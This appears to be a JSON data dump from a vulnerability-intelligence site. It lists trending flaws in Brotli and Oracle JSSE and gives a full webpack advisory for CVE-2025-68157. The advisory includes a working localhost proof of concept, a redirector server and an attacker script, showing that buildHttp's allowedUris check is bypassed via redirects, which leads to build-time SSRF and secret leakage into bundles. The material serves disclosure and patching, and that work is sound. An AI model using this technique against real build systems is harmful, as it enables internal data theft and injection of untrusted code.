[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"landing-trending":3,"cve-CVE-2025-68157":30,"landing-articles":83},{"count":4,"next":5,"previous":6,"results":7},266,"http:\u002F\u002Fweb:8606\u002Fapi\u002Ftrending_attacks\u002F?page=2&page_size=3&sorted_by=-published_at",null,[8,17,20],{"id":9,"title":10,"summary":11,"published_at":12,"severity":13,"vendor":14,"products":15},265,"Google Brotli decoder - Remote Code Execution via compressed requests (Exploitation Check)","This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it.\r\n\r\nWhy a second control\r\n\r\nCVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli (\"br\") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution.\r\n\r\nAny server that decompresses request bodies sent with \"Content-Encoding: br\" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library.\r\n\r\nThe flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support.\r\n\r\nWhat this control checks\r\n\r\nPatrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service.\r\n\r\nHow to read the result\r\n\r\nPotentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside.\r\n\r\nThis check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification.\r\n\r\nAffected and fixed versions\r\n\r\nGoogle Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution.\r\n\r\nRecommendations\r\n\r\nUpdate every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library.\r\n\r\nReduce the exposure until the update is deployed. Reject requests with \"Content-Encoding: br\" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as \"gzip, br\". On Envoy and Istio, disable request decompression for Brotli.\r\n\r\nReview outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.","2026-10-24T10:37:22.192753Z",4,"google",[16],"brotli",{"id":4,"title":10,"summary":18,"published_at":12,"severity":13,"vendor":14,"products":19},"This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it.\r\n\r\nWhy a second control\r\n\r\nCVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli (\"br\") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution.\r\n\r\nAny server that decompresses request bodies sent with \"Content-Encoding: br\" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library.\r\n\r\nThe flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support.\r\n\r\nWhat this control checks\r\n\r\nPatrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service.\r\n\r\nHow to read the result\r\n\r\nPotentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside.\r\n\r\nThis check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification.\r\n\r\nTwo situations are possible. When the decoding is done by your own application or reverse proxy, identify the component and update it. If an update is not possible right away, reject requests with \"Content-Encoding: br\" at the reverse proxy or WAF.\r\n\r\nWhen the asset is hosted on a managed platform or behind a CDN (for example Platform.sh, Upsun or Fastly), the decoding may be done by the provider's edge router, in front of your application. You cannot patch it yourself, but this router handles all the traffic of your site. Ask your provider to confirm that its edge components are patched against CVE-2026-111497. Assets hosted on a managed platform or behind a CDN carry the tag \"paas: platform.sh\" or \"cdn: fastly\" in the asset view: for these assets, the Brotli decoding is done by the provider's edge router, in front of your application, and only the provider can patch it.\r\n\r\nAffected and fixed versions\r\n\r\nGoogle Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution.\r\n\r\nRecommendations\r\n\r\nUpdate every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library.\r\n\r\nReduce the exposure until the update is deployed. Reject requests with \"Content-Encoding: br\" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as \"gzip, br\". On Envoy and Istio, disable request decompression for Brotli.\r\n\r\nContact your edge provider about the status of the pathing (Fastly \u002F Plateform.sh)\r\n\r\nReview outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.",[16],{"id":21,"title":22,"summary":23,"published_at":24,"severity":13,"vendor":25,"products":26},263,"Oracle Java SE JSSE - Improper Access Control & Unauthorized Data Access & Unauthorized Data Modification","Oracle Java SE is the Java runtime and development platform. Its JSSE (Java Secure Socket Extension) component provides TLS\u002FSSL for secure network communication. Oracle GraalVM is a JDK distribution based on the same platform.\r\n\r\nCVE-2026-91403\r\n\r\nA vulnerability in the JSSE component of Oracle Java SE, Oracle GraalVM for JDK and Oracle GraalVM Enterprise Edition can be exploited by an unauthenticated attacker with network access over multiple protocols. A successful attack can give unauthorized access to critical data and allow unauthorized creation, deletion or modification of data. It can also affect sandboxed Java Web Start applications and applets that run untrusted code. The record lists the weakness as CWE-284 (Improper Access Control) in the CISA ADP entry, while another database lists CWE-295. The record lists these affected versions:\r\n- Oracle Java SE: 8u511, 8u511-perf, 11.0.33, 17.0.21, 21.0.13, 25.0.5, 27.0.1.\r\n- Oracle GraalVM for JDK: 17.0.21, 21.0.13.\r\n- Oracle GraalVM Enterprise Edition: 21.3.20.\r\n\r\nOracle published an out-of-cycle Security Alert on October 21, 2026. One secondary source says the fix makes Java distrust eight compromised intermediate CA certificates shipped with the JDK. The Oracle-focused sources do not confirm this root cause, so check it against the Oracle advisory. CISA ADP SSVC data shows Exploitation: none, Automatable: yes, Technical Impact: total. The CVE is not in the CISA KEV catalog as of October 22, 2026, and its EPSS score is below 1%.","2026-10-23T14:12:32.871954Z","Oracle",[27,28,29],"Oracle Java SE","Oracle GraalVM Enterprise Edition","Oracle GraalVM for JDK",{"id":31,"cve_id":32,"euvd_id":33,"summary":34,"published":35,"cvss_data":36,"is_remote":47,"cwes":48,"cpes":50,"technologies":53,"references":56,"score":60,"epss_score":61,"epss_percentile":62,"is_kev":63,"cisa_kev_date_added":6,"cisa_kev_due_date":6,"cisa_ssvc":64,"attack_mappings":74,"exploits":81},68304,"CVE-2025-68157","EUVD-2025-206880","webpack buildHttp HttpUriPlugin allowedUris bypass via HTTP redirects → SSRF + cache persistence\n\n### Summary\nWhen `experiments.buildHttp` is enabled, webpack’s HTTP(S) resolver (`HttpUriPlugin`) enforces `allowedUris` only for the **initial** URL, but **does not re-validate `allowedUris` after following HTTP 30x redirects**. As a result, an import that appears restricted to a trusted allow-list can be redirected to **HTTP(S) URLs outside the allow-list**. This is a **policy\u002Fallow-list bypass** that enables **build-time SSRF behavior** (requests from the build machine to internal-only endpoints, depending on network access) and **untrusted content inclusion in build outputs** (redirected content is treated as module source and bundled). In my reproduction, the internal response is also persisted in the buildHttp cache.\n\n### Details\nIn the HTTP scheme resolver, the allow-list check (`allowedUris`) is performed when metadata\u002Finfo is created for the original request (via `getInfo()`), but the content-fetch path follows redirects by resolving the `Location` URL without re-checking whether the redirected URL is within `allowedUris`.\n\nPractical consequence: if an “allowed” host\u002Fpath can return a 302 (or has an open redirect), it can point to an external URL or an internal-only URL (SSRF). The redirected response is consumed as module content, bundled, and can be cached. If the redirect target is attacker-controlled, this can potentially result in attacker-controlled JavaScript being bundled and later executed when the resulting bundle runs.\n\n**Figure 1 (evidence screenshot):** left pane shows the allowed host issuing a 302 redirect to `http:\u002F\u002F127.0.0.1:9100\u002Fsecret.js`; right pane shows the build output confirming allow-list bypass and that the secret appears in the bundle and buildHttp cache.\n\n\u003Cimg width=\"1648\" height=\"461\" alt=\"image\" src=\"https:\u002F\u002Fgithub.com\u002Fuser-attachments\u002Fassets\u002Fbb25f3ff-1919-49f9-951b-ad50bf0c7524\" \u002F>\n\n\n### PoC\nThis PoC is intentionally constrained to **127.0.0.1** (localhost-only “internal service”) to demonstrate SSRF behavior safely.\n\n#### 1) Setup\n```bash\nmkdir split-ssrf-poc && cd split-ssrf-poc\nnpm init -y\nnpm i -D webpack webpack-cli\n```\n\n#### 2) Create server.js\n```js\n#!\u002Fusr\u002Fbin\u002Fenv node\n\"use strict\";\n\nconst http = require(\"http\");\nconst url = require(\"url\");\n\nconst allowedPort = 9000;\nconst internalPort = 9100;\n\nconst internalUrlDefault = `http:\u002F\u002F127.0.0.1:${internalPort}\u002Fsecret.js`;\nconst secret = `INTERNAL_ONLY_SECRET_${Math.random().toString(16).slice(2)}`;\nconst internalPayload =\n  `export const secret = ${JSON.stringify(secret)};\\n` +\n  `export default \"ok\";\\n`;\n\nfunction start(port, handler) {\n  return new Promise(resolve => {\n    const s = http.createServer(handler);\n    s.listen(port, \"127.0.0.1\", () => resolve(s));\n  });\n}\n\n(async () => {\n  \u002F\u002F Internal-only service (SSRF target)\n  await start(internalPort, (req, res) => {\n    if (req.url === \"\u002Fsecret.js\") {\n      res.statusCode = 200;\n      res.setHeader(\"Content-Type\", \"application\u002Fjavascript; charset=utf-8\");\n      res.end(internalPayload);\n      console.log(`[internal] 200 \u002Fsecret.js served (secret=${secret})`);\n      return;\n    }\n    res.statusCode = 404;\n    res.end(\"not found\");\n  });\n\n  \u002F\u002F Allowed host (redirector)\n  await start(allowedPort, (req, res) => {\n    const parsed = url.parse(req.url, true);\n\n    if (parsed.pathname === \"\u002Fredirect.js\") {\n      const to = parsed.query.to || internalUrlDefault;\n\n      \u002F\u002F Safety guard: only allow redirecting to localhost internal service in this PoC\n      if (!to.startsWith(`http:\u002F\u002F127.0.0.1:${internalPort}\u002F`)) {\n        res.statusCode = 400;\n        res.end(\"to must be internal-only in this PoC\");\n        console.log(`[allowed] blocked redirect to: ${to}`);\n        return;\n      }\n\n      res.statusCode = 302;\n      res.setHeader(\"Location\", to);\n      res.end(\"redirecting\");\n      console.log(`[allowed] 302 \u002Fredirect.js -> ${to}`);\n      return;\n    }\n\n    res.statusCode = 404;\n    res.end(\"not found\");\n  });\n\n  console.log(`\\nServer running:`);\n  console.log(`- allowed host:  http:\u002F\u002F127.0.0.1:${allowedPort}\u002Fredirect.js`);\n  console.log(`- internal-only: http:\u002F\u002F127.0.0.1:${internalPort}\u002Fsecret.js`);\n})();\n```\n\n#### 3) Create attacker.js\n```js\n#!\u002Fusr\u002Fbin\u002Fenv node\n\"use strict\";\n\nconst path = require(\"path\");\nconst os = require(\"os\");\nconst fs = require(\"fs\u002Fpromises\");\nconst webpack = require(\"webpack\");\nconst webpackPkg = require(\"webpack\u002Fpackage.json\");\n\nconst allowedPort = 9000;\nconst internalPort = 9100;\n\nconst allowedBase = `http:\u002F\u002F127.0.0.1:${allowedPort}\u002F`;\nconst internalTarget = `http:\u002F\u002F127.0.0.1:${internalPort}\u002Fsecret.js`;\nconst entryUrl = `${allowedBase}redirect.js?to=${encodeURIComponent(internalTarget)}`;\n\nasync function walk(dir) {\n  const out = [];\n  const items = await fs.readdir(dir, { withFileTypes: true });\n  for (const it of items) {\n    const p = path.join(dir, it.name);\n    if (it.isDirectory()) out.push(...await walk(p));\n    else if (it.isFile()) out.push(p);\n  }\n  return out;\n}\n\nasync function fileContains(f, needle) {\n  try {\n    const buf = await fs.readFile(f);\n    return buf.toString(\"utf8\").includes(needle) || buf.toString(\"latin1\").includes(needle);\n  } catch {\n    return false;\n  }\n}\n\nasync function findInFiles(files, needle) {\n  const hits = [];\n  for (const f of files) if (await fileContains(f, needle)) hits.push(f);\n  return hits;\n}\n\nconst fmtBool = b => (b ? \"✅\" : \"❌\");\n\n(async () => {\n  const tmp = await fs.mkdtemp(path.join(os.tmpdir(), \"webpack-attacker-\"));\n  const srcDir = path.join(tmp, \"src\");\n  const distDir = path.join(tmp, \"dist\");\n  const cacheDir = path.join(tmp, \".buildHttp-cache\");\n  const lockfile = path.join(tmp, \"webpack.lock\");\n  const bundlePath = path.join(distDir, \"bundle.js\");\n\n  await fs.mkdir(srcDir, { recursive: true });\n  await fs.mkdir(distDir, { recursive: true });\n\n  await fs.writeFile(\n    path.join(srcDir, \"index.js\"),\n    `import { secret } from ${JSON.stringify(entryUrl)};\nconsole.log(\"LEAKED_SECRET:\", secret);\nexport default secret;\n`\n  );\n\n  const config = {\n    context: tmp,\n    mode: \"development\",\n    entry: \".\u002Fsrc\u002Findex.js\",\n    output: { path: distDir, filename: \"bundle.js\" },\n    experiments: {\n      buildHttp: {\n        allowedUris: [allowedBase],\n        cacheLocation: cacheDir,\n        lockfileLocation: lockfile,\n        upgrade: true\n      }\n    }\n  };\n\n  const compiler = webpack(config);\n\n  compiler.run(async (err, stats) => {\n    try {\n      if (err) throw err;\n\n      const info = stats.toJson({ all: false, errors: true, warnings: true });\n      if (stats.hasErrors()) {\n        console.error(info.errors);\n        process.exitCode = 1;\n        return;\n      }\n\n      const bundle = await fs.readFile(bundlePath, \"utf8\");\n      const m = bundle.match(\u002FINTERNAL_ONLY_SECRET_[0-9a-f]+\u002Fi);\n      const secret = m ? m[0] : null;\n\n      console.log(\"\\n[ATTACKER RESULT]\");\n      console.log(`- webpack version: ${webpackPkg.version}`);\n      console.log(`- node version: ${process.version}`);\n      console.log(`- allowedUris: ${JSON.stringify([allowedBase])}`);\n      console.log(`- imported URL (allowed only): ${entryUrl}`);\n      console.log(`- temp dir: ${tmp}`);\n      console.log(`- lockfile: ${lockfile}`);\n      console.log(`- cacheDir: ${cacheDir}`);\n      console.log(`- bundle:   ${bundlePath}`);\n\n      if (!secret) {\n        console.log(\"\\n[SECURITY SUMMARY]\");\n        console.log(`- bundle contains internal secret marker: ${fmtBool(false)}`);\n        return;\n      }\n\n      const lockHit = await fileContains(lockfile, secret);\n\n      let cacheFiles = [];\n      try { cacheFiles = await walk(cacheDir); } catch { cacheFiles = []; }\n      const cacheHit = cacheFiles.length ? (await findInFiles(cacheFiles, secret)).length > 0 : false;\n\n      const allTmpFiles = await walk(tmp);\n      const allHits = await findInFiles(allTmpFiles, secret);\n\n      console.log(`\\n- extracted secret marker from bundle: ${secret}`);\n\n      console.log(\"\\n[SECURITY SUMMARY]\");\n      console.log(`- Redirect allow-list bypass: ${fmtBool(true)} (imported allowed URL, but internal target was fetched)`);\n      console.log(`- Internal target (SSRF-like): ${internalTarget}`);\n      console.log(`- EXPECTED: internal target should be BLOCKED by allowedUris`);\n      console.log(`- ACTUAL: internal content treated as module and bundled`);\n\n      console.log(\"\\n[EVIDENCE CHECKLIST]\");\n      console.log(`- bundle contains secret:   ${fmtBool(true)}`);\n      console.log(`- cache contains secret:    ${fmtBool(cacheHit)}`);\n      console.log(`- lockfile contains secret: ${fmtBool(lockHit)}`);\n\n      console.log(\"\\n[PERSISTENCE CHECK] files containing secret\");\n      for (const f of allHits.slice(0, 30)) console.log(`- ${f}`);\n      if (allHits.length > 30) console.log(`- ... and ${allHits.length - 30} more`);\n    } catch (e) {\n      console.error(e);\n      process.exitCode = 1;\n    } finally {\n      compiler.close(() => {});\n    }\n  });\n})();\n```\n\n#### 4) Run\nTerminal A:\n```bash\nnode server.js\n```\n\nTerminal B:\n```bash\nnode attacker.js\n```\n\n#### 5) Expected\n\nExpected: Redirect target should be rejected if not in allowedUris (only http:\u002F\u002F127.0.0.1:9000\u002F is allowed).\n\n### Impact\n\nVulnerability class: Policy\u002Fallow-list bypass leading to SSRF behavior at build time and untrusted content inclusion in build outputs (and potentially bundling of attacker-controlled JavaScript if the redirect target is attacker-controlled).\n\nWho is impacted: Projects that enable experiments.buildHttp and rely on allowedUris as a security boundary (to restrict remote module fetching). In such environments, an attacker who can influence imported URLs (e.g., via source contribution, dependency manipulation, or configuration) and can cause an allowed endpoint to redirect can:\n\ntrigger network requests from the build machine to internal-only services (SSRF behavior),\n\ncause content from outside the allow-list to be bundled into build outputs,\n\nand cause fetched responses to persist in build artifacts (e.g., buildHttp cache), increasing the risk of later exfiltration.","2026-02-05T18:35:00Z",{"cvss_v3.1":37},{"scope":38,"version":39,"baseScore":40,"attackVector":41,"baseSeverity":42,"vectorString":43,"integrityImpact":42,"userInteraction":44,"attackComplexity":45,"availabilityImpact":46,"privilegesRequired":42,"confidentialityImpact":42},"UNCHANGED","3.1",3.7,"NETWORK","LOW","CVSS:3.1\u002FAV:N\u002FAC:H\u002FPR:L\u002FUI:R\u002FS:U\u002FC:L\u002FI:L\u002FA:N","REQUIRED","HIGH","NONE",true,[49],"CWE-918",[51,52],"cpe:2.3:a:webpack.js:webpack:*:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack:webpack:*:*:*:*:*:*:*:*",[54,55],"Webpack.Js Webpack","Webpack Webpack",[57,58,59],"https:\u002F\u002Fgithub.com\u002Fwebpack\u002Fwebpack\u002Fsecurity\u002Fadvisories\u002FGHSA-38r7-794h-5758","https:\u002F\u002Fnvd.nist.gov\u002Fvuln\u002Fdetail\u002FCVE-2025-68157","https:\u002F\u002Fgithub.com\u002Fwebpack\u002Fwebpack",0.54,0.00233,0.14055,false,{"timestamp":65,"automatable":66,"tech_impact":67,"exploitation":68,"cisa_decision":69,"cisa_remediation_timeline":73},"2026-02-06T19:29:04.786500Z","no","partial","poc",{"vector":70,"decision":71,"priority":72},"CISAv1\u002FE:P\u002FA:N\u002FT:P\u002FM:H\u002F2026-10-26T04:13:08.167294\u002F","track_star","medium","60D",[75],{"name":76,"source":77,"tactics":78,"technique_id":80},"Exploit Public-Facing Application","attack_vector",[79],"initial-access","T1190",[82],{"link":57},{"count":84,"next":85,"previous":6,"results":86},26,"http:\u002F\u002Fweb:8606\u002Fapi\u002Farticles\u002F?page=2&page_size=3&sorted_by=-published_at",[87,95,103],{"id":88,"title":89,"summary":90,"published_at":91,"type":92,"link":93,"image_url":94},30,"PHP2Shell: Two Critical RCE Flaws in PHP (CVSS 9.2)","Unauthenticated code execution demonstrated on WordPress, Drupal and Joomla, and reproduced in our lab. Patched versions and steps to take today.","2026-10-22T00:00:00Z","cve","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fphp2shell-2-critical-rce-flaws-php-cvss-9-2","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002Fc0615c4ee6-1792684469\u002Fphp2shell-2-critical-rce-flaws-php-cvss-9-2.png",{"id":96,"title":97,"summary":98,"published_at":99,"type":100,"link":101,"image_url":102},29,"Manage External Security Across All Your Entities","Centralize the management of entities, users and external security resources while maintaining strict data isolation with Patrowl.","2026-09-15T00:00:00Z","security tips","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fmulti-entity-external-security-how-structure-governance-group-level","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F8b2c0cc5eb-1789551467\u002Fvisu_1_multi_tenancy_dark_1x.webp",{"id":104,"title":105,"summary":106,"published_at":107,"type":108,"link":109,"image_url":110},28,"Will AI Become the Next Hacker? Bruce Schneier Answers at DEF CON 34","Tax law, finance, legislation: Bruce Schneier shows how AI could hack human rule systems just as easily as it hacks software.","2026-09-14T00:00:00Z","hacks","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fbruce-schneier-def-con-34","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F5c616d9db4-1789462598\u002Fai-hacker.en.png"]